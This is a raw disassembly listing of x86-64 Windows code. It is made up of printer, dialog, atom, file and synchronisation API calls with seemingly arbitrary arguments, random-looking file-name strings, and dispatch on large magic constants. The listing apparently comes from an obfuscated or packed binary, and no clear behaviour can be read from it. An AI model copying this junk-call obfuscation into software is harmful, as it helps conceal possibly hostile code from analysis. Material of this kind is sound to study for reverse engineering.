jmp 0x1400395b2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
lea rcx, str.DiVUy
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xef8], ax
jmp 0x140039606
lea rcx, [rsp + 0x1ed90]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x4668], eax
mov rax, qword [rsp + 0x80e0]
mov rcx, qword [rsp + 0x8e30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8110], rax
jmp 0x140039606
lea rax, [rsp + 0x8dc8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x99
lea rax, [rsp + 0x8e30]
mov qword [rsp + 0x20], rax
mov r9d, 0x10
mov r8d, 0x37
mov edx, 0xe3
mov rcx, qword [rsp + 0x8e80]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x46b4], eax
jmp 0x140039627
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
jmp 0x1400396e4
mov r9d, 0x30
mov r8d, 0x4b
mov edx, 0xba
mov rcx, qword [rsp + 0x8d70]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b70], rax
jmp 0x1400396e4
mov eax, dword [rsp + 0x46c4]
mov ecx, dword [rsp + 0x4684]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4644], eax
jmp 0x1400396e4
lea rax, [rsp + 0x8ce8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xeec]
mov qword [rsp + 0x20], rax
mov r9d, 0x87
lea r8, [rsp + 0x8e08]
mov edx, 0xf8
mov rcx, qword [rsp + 0x8c48]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x468c], eax
jmp 0x1400396e4
mov dword [rsp + 0x20], 0xe9
lea r9, [rsp + 0x8e10]
mov r8d, 0xcd
mov edx, 0x49
mov rcx, qword [rsp + 0x8c60]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x4720], eax
jmp 0x140039c71
lea rax, [rsp + 0x8bd0]
mov qword [rsp + 0x20], rax
mov r9d, 0x68
mov r8, qword [rsp + 0x8e88]
mov rdx, qword [rsp + 0x8c00]
mov rcx, qword [rsp + 0x8d78]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x46d4], eax
mov dword [rsp + 0x20], 0x12
lea r9, [rsp + 0x8c28]
mov r8d, 0xfa
mov rdx, qword [rsp + 0x8e90]
mov rcx, qword [rsp + 0x8c38]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x4670], eax
movsx eax, word [rsp + 0xef0]
add eax, 0x407
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
sub eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov word [rcx], ax
lea r9, [rsp + 0x8d68]
mov r8d, 0xdd
mov rdx, qword [rsp + 0x8c10]
mov rcx, qword [rsp + 0x8e98]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x4674], eax
lea r9, [rsp + 0x8b50]
mov r8d, 0x4c
mov rdx, qword [rsp + 0x8c00]
mov rcx, qword [rsp + 0x8ea0]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x4678], eax
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4684]
add ecx, eax
mov eax, ecx
mov dword [0x14022fb5c], eax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4724], eax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x466c], eax
jmp 0x140039c71
mov qword [rsp + 0x20], 0x6c
mov r9, qword [rsp + 0x8ba8]
mov r8, qword [rsp + 0x8d70]
mov rdx, qword [rsp + 0x8ea8]
mov rcx, qword [rsp + 0x8be8]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x4684], eax
mov r9d, 0xf4
mov r8d, 0xb5
mov edx, 0x9e
mov rcx, qword [rsp + 0x8eb0]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b90], rax
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8cf8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd7
lea r9, [rsp + 0x8ba8]
mov r8d, 0x79
mov rdx, qword [rsp + 0x8b60]
mov ecx, 0xf1
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x4728], eax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4668]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
jmp 0x140039c71
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x470c], eax
mov edx, 0xa6
mov rcx, qword [rsp + 0x8cd0]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8c48], rax
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8110], rax
lea rax, [rsp + 0x1a2f8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5a
lea r9, [rsp + 0x8e58]
lea r8, [rsp + 0x8ba8]
mov rdx, qword [rsp + 0x8d88]
mov rcx, qword [rsp + 0x8eb8]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x469c], eax
mov qword [rsp + 0x20], 0x49
mov r9, qword [rsp + 0x8bc0]
mov r8, qword [rsp + 0x8ec0]
mov rdx, qword [rsp + 0x8b38]
mov rcx, qword [rsp + 0x8bd0]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x8bb8], rax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x469c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
movsx eax, word [rsp + 0xef0]
sub eax, 0x2fc
mov word [rsp + 0xef0], ax
xor r8d, r8d
mov rdx, qword [rsp + 0x8ec8]
mov rcx, qword [rsp + 0x8b78]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4648], eax
lea rax, [rsp + 0xeec]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8e18]
mov qword [rsp + 0x20], rax
mov r9d, 0xd5
lea r8, [rsp + 0x4668]
mov edx, 0x5f
mov rcx, qword [rsp + 0x8c38]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x472c], eax
jmp 0x140039c71
mov r8, qword [rsp + 0x8ed0]
mov rdx, qword [rsp + 0x8c30]
mov rcx, qword [rsp + 0x8b30]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x4720], eax
mov rax, qword [rsp + 0x8e00]
mov rcx, qword [rsp + 0x8ce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4648], eax
mov r8, qword [rsp + 0x8c10]
mov rdx, qword [rsp + 0x8b88]
mov rcx, qword [rsp + 0x8b30]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x4730], eax
lea rcx, [rsp + 0x1ef90]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x4734], eax
mov eax, dword [rsp + 0x4684]
mov rcx, qword [rsp + 0x8ce8]
mov qword [rsp + 0x8ed8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ed8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x270]
sar eax, cl
mov byte [rsp + 0x26f], al
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4698], eax
lea r9, [rsp + 0x1a2f8]
lea r8, [rsp + 0x1a2f8]
xor edx, edx
mov rcx, qword [rsp + 0x8d80]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x4694], eax
lea rax, [rsp + 0x8c30]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x34
lea rax, [rsp + 0x4644]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8bf0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80e0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2b
mov r8, qword [rsp + 0x8cb0]
mov edx, 0x9b
mov rcx, qword [rsp + 0x8e98]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x4738], eax
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
xor eax, ecx
mov word [0x14024f3c8], ax
lea r8, [rsp + 0x8b70]
lea rdx, [rsp + 0xeec]
lea rcx, [rsp + 0x8be8]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x46dc], eax
lea rax, [rsp + 0xef0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x39
lea r9, [rsp + 0x8bd8]
mov r8d, 0x80
mov rdx, qword [rsp + 0x8ca0]
mov rcx, qword [rsp + 0x8e98]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x473c], eax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [0x14024f3c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8cf8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x270]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov byte [rsp + 0x26f], al
mov edx, 0xf8
mov rcx, qword [rsp + 0x8b98]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8e80], rax
movsx eax, word [rsp + 0xef0]
mov dword [rsp + 0x4740], eax
cmp dword [rsp + 0x4740], 0x456
je 0x140039dc8
cmp dword [rsp + 0x4740], 0x616
je 0x140039ca3
jmp 0x140039e23
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xef4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
mov eax, dword [rsp + 0x470c]
mov ecx, dword [rsp + 0x4710]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4654], eax
lea rdx, [rsp + 0x8ee0]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4704], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xc64
mov r9d, 0xd9b
mov r8d, 0x9855156f
mov edx, 2
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4704], eax
mov edx, 0x20a9
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f0], eax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
and eax, ecx
mov word [rsp + 0x6d8], ax
lea rcx, [rsp + 0x8ee8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea rcx, [rsp + 0x8ee8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [rsp + 0x1f6e0], 0x11c
lea rax, [rsp + 0x272]
mov qword [rsp + 0x8ef0], rax
jmp 0x140039e23
mov r8, qword [rsp + 0x8d90]
mov rdx, qword [rsp + 0x8da8]
mov rcx, qword [rsp + 0x8ef8]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x4664], eax
mov qword [rsp + 0x20], 0x2f
mov r9, qword [rsp + 0x8ba8]
mov r8, qword [rsp + 0x8c68]
mov rdx, qword [rsp + 0x8f00]
mov rcx, qword [rsp + 0x8be8]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x8d80], rax
mov rcx, qword [rsp + 0x8df8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x4744], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
movsx eax, word [rsp + 0xef0]
imul eax, eax, 0x7ef
mov word [rsp + 0xa54], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.XNnccnqcshWQMibjk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x8f08], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movzx ecx, word [rsp + 0xee0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee4], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rax, [rsp + 0x7b18]
mov qword [rsp + 0x8f10], rax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8cf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022fb60], rax
lea rcx, str.E7jO1_Igl.Nu8bI2x
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xefc], ax
mov rax, qword [rsp + 0x8cf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80e0], rax
lea rax, [rsp + 0x26f]
mov qword [rsp + 0x8f18], rax
lea rax, [rsp + 0xeec]
mov qword [rsp + 0x8f20], rax
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x46a0]
mov dword [rsp + 0x46e8], eax
movzx ecx, word [rsp + 0xee0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
mov rax, qword [rsp + 0x8cf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8110]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x26f]
mov byte [rsp + 0x4748], al
cmp byte [rsp + 0x4748], 0x29
je 0x14003a12f
cmp byte [rsp + 0x4748], 0x38
je 0x14003a01e
cmp byte [rsp + 0x4748], 0xcb
je 0x14003a066
jmp 0x14003a33e
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x4668], eax
mov dword [rsp + 0x20], 0x7b
lea r9, [rsp + 0x8b48]
mov r8d, 0x4c
mov rdx, qword [rsp + 0x8d88]
mov rcx, qword [rsp + 0x8cc0]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x474c], eax
jmp 0x14003a33e
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x26f]
add eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov byte [rcx], al
lea rax, [rsp + 0x8ce8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xc8
lea r9, [rsp + 0x8e10]
lea r8, [rsp + 0x8ce8]
mov rdx, qword [rsp + 0x8f28]
mov rcx, qword [rsp + 0x8e80]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x4710], eax
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x272]
sub eax, ecx
mov byte [rsp + 0x271], al
mov rcx, qword [rsp + 0x8bf8]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x46dc], eax
lea r8, [rsp + 0x8e08]
xor edx, edx
mov rcx, qword [rsp + 0x8da8]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x468c], eax
mov edx, 0xeb
mov ecx, 0x7f
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x8f30], rax
jmp 0x14003a33e
lea rax, [rsp + 0x272]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x14
lea rax, [rsp + 0x8e10]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8ea8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8da0]
mov qword [rsp + 0x20], rax
mov r9d, 0xaf
mov r8, qword [rsp + 0x8b50]
mov edx, 0xe8
mov rcx, qword [rsp + 0x8c60]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x4440], eax
movzx eax, byte [rsp + 0x270]
movzx ecx, byte [rsp + 0x26f]
xor eax, ecx
mov byte [rsp + 0xee], al
movzx eax, word [rsp + 0x6d8]
movzx ecx, word [rsp + 0xeec]
or eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov word [rcx], ax
lea rax, [rsp + 0x8db0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x12
lea r9, [rsp + 0x8ca8]
mov r8d, 0x3c
mov rdx, qword [rsp + 0x8ef8]
mov rcx, qword [rsp + 0x8f38]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x4688], eax
lea r9, [rsp + 0x8d68]
mov r8d, 0xc6
mov rdx, qword [rsp + 0x8f40]
mov rcx, qword [rsp + 0x8d98]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x4694], eax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov dword [rsp + 0x4710], eax
mov r8, qword [rsp + 0x8db8]
mov rdx, qword [rsp + 0x8c68]
mov rcx, qword [rsp + 0x8b38]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x472c], eax
lea rax, [rsp + 0x8d90]
mov qword [rsp + 0x20], rax
mov r9d, 0x9b
mov r8, qword [rsp + 0x8d88]
mov rdx, qword [rsp + 0x8c00]
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x4750], eax
lea rax, [rsp + 0x1edf0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x46e0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xda
lea r9, [rsp + 0x4648]
mov r8d, 0xaf
mov rdx, qword [rsp + 0x8f48]
mov ecx, 0xa8
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x46cc], eax
mov dword [rsp + 0x20], 0xbb
lea r9, [rsp + 0x8da0]
mov r8d, 0xf0
mov edx, 0x58
mov rcx, qword [rsp + 0x8e50]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x46c8], eax
mov r9d, 0xeb
mov r8d, 0x19
mov rdx, qword [rsp + 0x8f50]
mov rcx, qword [rsp + 0x8f58]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x4698], eax
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8110]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
mov dword [rsp + 0x4754], eax
cmp dword [rsp + 0x4754], 0xf7
je 0x14003a61f
cmp dword [rsp + 0x4754], 0x4f5
je 0x14003a3a2
cmp dword [rsp + 0x4754], 0x50e
je 0x14003a65f
jmp 0x14003a760
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x8f68], rax
mov r9d, 0x12e9
xor r8d, r8d
lea rdx, [rsp + 0x8d00]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4700], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x8f70], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8b08]
mov qword [rsp + 0x8f80], rax
movabs rax, 0x742916c81c14c4
cmp qword [rsp + 0x8f80], rax
je 0x14003a5e3
movabs rax, 0x7a6ab12c025ee2
cmp qword [rsp + 0x8f80], rax
je 0x14003a46a
movabs rax, 0x7b9a1d451c8c47
cmp qword [rsp + 0x8f80], rax
je 0x14003a4fc
jmp 0x14003a61a
mov rax, qword [rsp + 0x7f10]
mov rcx, qword [rsp + 0x8cf8]
mov qword [rsp + 0x8f88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f88]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8d38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xeec], ax
lea r8, [rsp + 0xa54]
lea rdx, [rsp + 0x271]
lea rcx, [rsp + 0x8bb0]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x46c8], eax
movsx eax, word [rsp + 0xef0]
and eax, 0x3e0
mov word [rsp + 0xa54], ax
jmp 0x14003a61a
lea rdx, [rsp + 0x8f90]
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4704], eax
lea rax, [rsp + 0x271]
mov qword [rsp + 0x8f98], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0x7b18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8410], rax
mov eax, dword [rsp + 0x4648]
mov ecx, dword [rsp + 0x4684]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4314], eax
mov edx, 0x2267
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.YOCaP9CF6VxcPucqFGpBfCJDe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x8fa0], rax
movzx eax, word [rsp + 0xef0]
mov word [0x14024f3be], ax
jmp 0x14003a61a
lea rax, [rsp + 0x1a2c8]
mov qword [rsp + 0x20], rax
mov r9d, 0x65
mov r8, qword [rsp + 0x8e90]
mov rdx, qword [rsp + 0x8f40]
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x4750], eax
jmp 0x14003a921
mov r8d, 0x29
mov rdx, qword [rsp + 0x8b88]
mov rcx, qword [rsp + 0x8fa8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov byte [rcx], al
jmp 0x14003a921
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4654], eax
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x46ac], eax
mov r8d, 0x56
mov rdx, qword [rsp + 0x8da8]
mov rcx, qword [rsp + 0x8fb0]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
lea rdx, [rsp + 0x1a2f8]
mov rcx, qword [rsp + 0x8c50]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4680], eax
mov eax, dword [rsp + 0x4654]
mov dword [rsp + 0x464c], eax
lea rdx, [rsp + 0x1ef20]
mov rcx, qword [rsp + 0x8bf8]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x4758], eax
lea rax, [rsp + 0x8be8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xc4
lea r9, [rsp + 0x8b90]
mov r8d, 0xd3
mov rdx, qword [rsp + 0x8c10]
mov ecx, 0xb9
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x4720], eax
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6d8]
and eax, ecx
mov rcx, qword [rsp + 0x8f20]
mov word [rcx], ax
jmp 0x14003a921
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x26f]
add eax, ecx
mov byte [rsp + 0x270], al
lea rdx, [rsp + 0x1a2e0]
mov rcx, qword [rsp + 0x8c60]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x475c], eax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4674], eax
mov r9d, 0xa8
lea r8, [rsp + 0x8ba8]
xor edx, edx
mov rcx, qword [rsp + 0x8fb8]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x4674], eax
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x271], al
mov dword [rsp + 0x20], 0x52
lea r9, [rsp + 0x8c18]
mov r8d, 0xbb
mov edx, 0x36
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x4664], eax
mov edx, 0x9c
mov rcx, qword [rsp + 0x8fc0]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8c60], rax
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x271]
add eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4644]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4744], eax
lea rcx, [rsp + 0x1ef20]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x475c], eax
lea r8, [rsp + 0x4648]
xor edx, edx
mov rcx, qword [rsp + 0x8fb0]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x46b4], eax
lea rax, [rsp + 0x8c08]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8cf8]
mov qword [rsp + 0x20], rax
mov r9d, 0x35
lea r8, [rsp + 0x8ec8]
mov edx, 0xdb
mov rcx, qword [rsp + 0x8c48]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x4760], eax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x80e0]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14022fb60], rax
lea r9, [rsp + 0x8fb8]
mov r8d, 0xd3
mov rdx, qword [rsp + 0x8b60]
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x475c], eax
mov rax, qword [rsp + 0x8e30]
mov qword [rsp + 0x8fc8], rax
movabs rax, 0x7bd7f8e5679c95
cmp qword [rsp + 0x8fc8], rax
jg 0x14003a9a6
movabs rax, 0x7bd7f8e5679c95
cmp qword [rsp + 0x8fc8], rax
je 0x14003a9fd
movabs rax, 0x73c8363c209036
cmp qword [rsp + 0x8fc8], rax
je 0x14003aed0
movabs rax, 0x774d5524e6a059
cmp qword [rsp + 0x8fc8], rax
je 0x14003a9db
movabs rax, 0x77bd3688b12031
cmp qword [rsp + 0x8fc8], rax
je 0x14003ac6e
jmp 0x14019ee35
movabs rax, 0x7d9d5c861361fa
cmp qword [rsp + 0x8fc8], rax
je 0x14019ebe6
movabs rax, 0xee798edb3e41c8
cmp qword [rsp + 0x8fc8], rax
je 0x14003aeee
jmp 0x14019ee35
movzx eax, word [rsp + 0x6d8]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xeec], ax
jmp 0x14019ee35
